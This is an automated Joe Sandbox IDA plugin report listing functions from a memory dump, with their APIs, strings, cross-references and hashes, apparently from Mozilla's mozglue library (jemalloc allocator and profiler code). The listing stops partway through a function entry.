APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5B64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5B64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5B6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5B6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B671C
GetCurrentProcess.KERNEL32 ref: 6C5B6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B672F
GetCurrentProcess.KERNEL32 ref: 6C5B6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5B6A80
GetSystemInfo.KERNEL32(?), ref: 6C5B6ABE
__Init_thread_footer.LIBCMT ref: 6C5B6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AF7

Strings

detoured.dll, xrefs: 6C5B64DA
user32.dll, xrefs: 6C5B6526
nvdxgiwrap.dll, xrefs: 6C5B6513
nvd3d9wrap.dll, xrefs: 6C5B6500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5B6798
_etoured.dll, xrefs: 6C5B64ED

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction ID: 3dcb60dd157ef0e3dbc2a2d1f6c18e361f17a726a44e9985278faabe34b19c1f
Opcode Fuzzy Hash: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction Fuzzy Hash: B2F10370901319DFDB24CF25CD98B9ABBB4EF46308F1442A9D809B3681DB31AE85CF95

Function 6C5CD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5CD904
LeaveCriticalSection.KERNEL32(?), ref: 6C5CD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C5CD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C5CE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE315
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE37C
GetSystemInfo.KERNEL32(?), ref: 6C5CE3C7
__Init_thread_footer.LIBCMT ref: 6C5CE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5CE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5CE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5CE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5CE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5CE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E768,00001388), ref: 6C5CE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C5CE52E
ReleaseSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE54F

Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(?), ref: 6C5BD999
Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BDA13

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CE560, 6C5CE58A, 6C5CE5A5
MOZ_CRASH(), xrefs: 6C5CE62B
MALLOC_OPTIONS, xrefs: 6C5CE3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5CE6DD
<jemalloc>, xrefs: 6C5CE61C, 6C5CE6CC
Compile-time page size does not divide the runtime one., xrefs: 6C5CE621

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction ID: f7702a4bc3e401984d7a66c59003df251c6b88db913acd82e4e2aca08cf786b8
Opcode Fuzzy Hash: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction Fuzzy Hash: 9D92A9B1B056018BD714CF69C881715BBE1FF86328F29866DE869CB791D375E841CBC2

Function 6C60C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C60C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E472

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c7d1c6d4816fe76778441dcd124f1e2505c097f0f07b9a79c0e974577a1b578
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8F33CD71E0021A8FCB08CFA8C9806EDBBF2FF49314F288269D955BB755D730A945CB94

Function 6C5CED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5CEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5CEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5D1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5D1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5D1A3E

Strings

~qZl, xrefs: 6C5CED10
~qZl, xrefs: 6C5CED13

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qZl$~qZl
API String ID: 3693777188-2831360158
Opcode ID: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction ID: cea532c1ebe75ec635563a2b362f4b4f0176a330ab7091d48d541b744f5a5c13
Opcode Fuzzy Hash: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction Fuzzy Hash: E8B31871E04219CFCB14CFA8C890A9DB7B2FF89314F2582A9D459AB745D730AD86CF94

Function 6C5BFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4
<jemalloc>, xrefs: 6C5C0D62, 6C5C0D76, 6C5C0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C5C0D67, 6C5C0D7B, 6C5C0DAC

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction ID: bd5e4adfcc1269b3fa71f80519889a20ebebb11ddeefda2e8d7b17063dc2815e
Opcode Fuzzy Hash: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction Fuzzy Hash: 32C2AB71B057418FD714CF69C880716BBE1AFC5328F28CA6DE4AA8B795D775E801CB82

Function 6C60E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C60E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C60F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C610E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C610E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C610EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C610ED4

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction ID: c6eabfe3f412d1d2eaf72fe6ce72a59487ac4f0c926c20f57711cde906a31c0d
Opcode Fuzzy Hash: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction Fuzzy Hash: C4639D71E0425A8FCB08CFACC9905DDF7B2FF89314F298229D855AB745D730A946CB94

Function 6C5E3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C607770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>^l,?,?,?,6C5E3E7D,?,?), ref: 6C60777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C5E3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E3F5C
VerSetConditionMask.NTDLL ref: 6C5E3F8D
VerSetConditionMask.NTDLL ref: 6C5E3F99
VerSetConditionMask.NTDLL ref: 6C5E3FA0
VerSetConditionMask.NTDLL ref: 6C5E3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E3FB4

Strings

nvinit.dll, xrefs: 6C5E4479
nvd3d9wrap.dll, xrefs: 6C5E4466
C>^l, xrefs: 6C5E3E93

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>^l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-824577501
Opcode ID: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction ID: 830f487e22a20854b4bdcf881081af94df7f89769472e088442cdca2fcdb7ae2
Opcode Fuzzy Hash: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction Fuzzy Hash: BF522271614B488FD711DF74CCD0AAB7BE9AF84208F44492DD5A29BB82DB74F909CB60

Function 6C5BFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4, 6C5C1A10
MOZ_CRASH(), xrefs: 6C5C0CA7

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction ID: b7722316f7f8b11ac73ac9901a6f709d107469c9796cf0c6c0e83585abe21524
Opcode Fuzzy Hash: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction Fuzzy Hash: 56B2BC717057418FD714CF69C990716BBE1BF85328F28CA6DE86A8B795C774E840CB82

Function 6C5F5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5F606D
name, xrefs: 6C5F5E79, 6C5F5E8F
ProfileBuffer parse error: %s, xrefs: 6C5F5AC8, 6C5F5CBB
expected a Count entry, xrefs: 6C5F5AC3
expected a Time entry, xrefs: 6C5F5CB6
data, xrefs: 6C5F6131

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction ID: 1537a568d05ee02c999aa3b86a9febbb8827f14098fd70b351eb7e192b891d6f
Opcode Fuzzy Hash: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction Fuzzy Hash: 90923C716083418FD728CF18C89075ABBE1BFC5308F55891DE5AA9B751DB30E94ACF92

Function 6C5B7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5B7885
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5B78A5
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5B78AD
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5B78CD
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C5B795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5B79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C5B7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B7C82
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C5B7DAF

Strings

Dbl, xrefs: 6C5B789F
Dbl, xrefs: 6C5B787F

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dbl$Dbl
API String ID: 759993129-2483856670
Opcode ID: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction ID: 4a34f0f1089bc92d6387a8b82554bcb8a06f354d0b2b214a5fef26b25937d13d
Opcode Fuzzy Hash: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction Fuzzy Hash: 3E029230A012198FDB54CF29C994799BBB5FF88358F2582AAD809B7710D734BE90CF94

Function 6C5F2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5F2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5F2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F36BF

Strings

get , xrefs: 6C5F3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5F378D
set , xrefs: 6C5F36EC

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction ID: 1dd297eb1b2b79828b1d152e5bb2653aefe833080a7bc1f2fb80730835ded342
Opcode Fuzzy Hash: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction Fuzzy Hash: 62324EB02083818FD769CF24C8906AEB7E2AFC9218F548C1DE5A987751DB30D94ACF57

Function 6C5E7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C5E7ECF, 6C5E8335
schema, xrefs: 6C5E81E3, 6C5E8311
vbl, xrefs: 6C5E8207
data, xrefs: 6C5E8280, 6C5E83E1
(pre-xul), xrefs: 6C5E7E88

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vbl
API String ID: 3412268980-3299618421
Opcode ID: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction ID: a1b437141be5dac922db1edcd1149e5d75ca01fef05616cee452cba8cc63c2c9
Opcode Fuzzy Hash: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction Fuzzy Hash: 4FE19FB1A043408FC710CF69885165BFBE9BFD9314F14492DE899E7B80DBB5DC098B92

Function 6C605FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C606009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C606024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QZl,?), ref: 6C606046
OutputDebugStringA.KERNEL32(?,QZl,?), ref: 6C606061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C606069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C62148E), ref: 6C606091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QZl,00000000,?), ref: 6C6060BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6060C4

Strings

QZl, xrefs: 6C605FFC, 6C606042, 6C606045, 6C6060B3

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QZl
API String ID: 3835517998-1347650013
Opcode ID: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction ID: f15666f5a24b7f9f7825f178081177139a7e0a32dddd7f0d94e971af1c7e5746
Opcode Fuzzy Hash: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction Fuzzy Hash: 2F21BA71A002089FDF205F65DC4969E7BB8FF85314F008428E85B97640CB75A959CFD9

Function 6C5C5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5C7652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C7BCD, 6C5C7C1F, 6C5C7C34, 6C5C80FD
ew`l, xrefs: 6C5C5E9C, 6C5C5F22, 6C5C61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5C72F8
MOZ_CRASH(), xrefs: 6C5C7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5C72E3
